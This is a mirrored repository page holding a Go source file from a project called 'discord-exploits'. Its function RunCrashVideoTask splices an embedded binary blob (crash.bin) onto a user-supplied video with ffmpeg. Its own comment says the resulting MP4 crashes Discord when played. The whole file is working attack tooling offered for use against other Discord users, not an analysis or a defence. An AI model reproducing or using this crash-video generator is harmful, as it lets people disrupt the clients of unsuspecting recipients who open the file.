mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2024-12-22 20:55:31 +00:00
a77abe5c32
a giant slice of bytes is never pretty
35 lines
895 B
Go
35 lines
895 B
Go
package exploits
|
|
|
|
import (
|
|
_ "embed" // embed
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
|
|
"github.com/Schmenn/discord-exploits/modules"
|
|
)
|
|
|
|
//go:embed crash.bin
|
|
var bin []byte
|
|
|
|
// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
|
|
func RunCrashVideoTask(filename string) {
|
|
binname := modules.CreateName("bin")
|
|
outname := modules.CreateName("mp4")
|
|
txtname := modules.CreateName("txt")
|
|
err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
|
|
modules.Check(err)
|
|
err = os.WriteFile(binname, bin, 0777)
|
|
modules.Check(err)
|
|
modules.CheckForFFmpeg()
|
|
cmd := exec.Command("ffmpeg", "-f", "concat", "-i", txtname, "-y", "-safe", "0", "-c", "copy", outname)
|
|
err = cmd.Run()
|
|
modules.Check(err)
|
|
|
|
err = os.Remove(binname)
|
|
modules.Check(err)
|
|
err = os.Remove(txtname)
|
|
modules.Check(err)
|
|
fmt.Println("Saved video to: " + outname)
|
|
}
|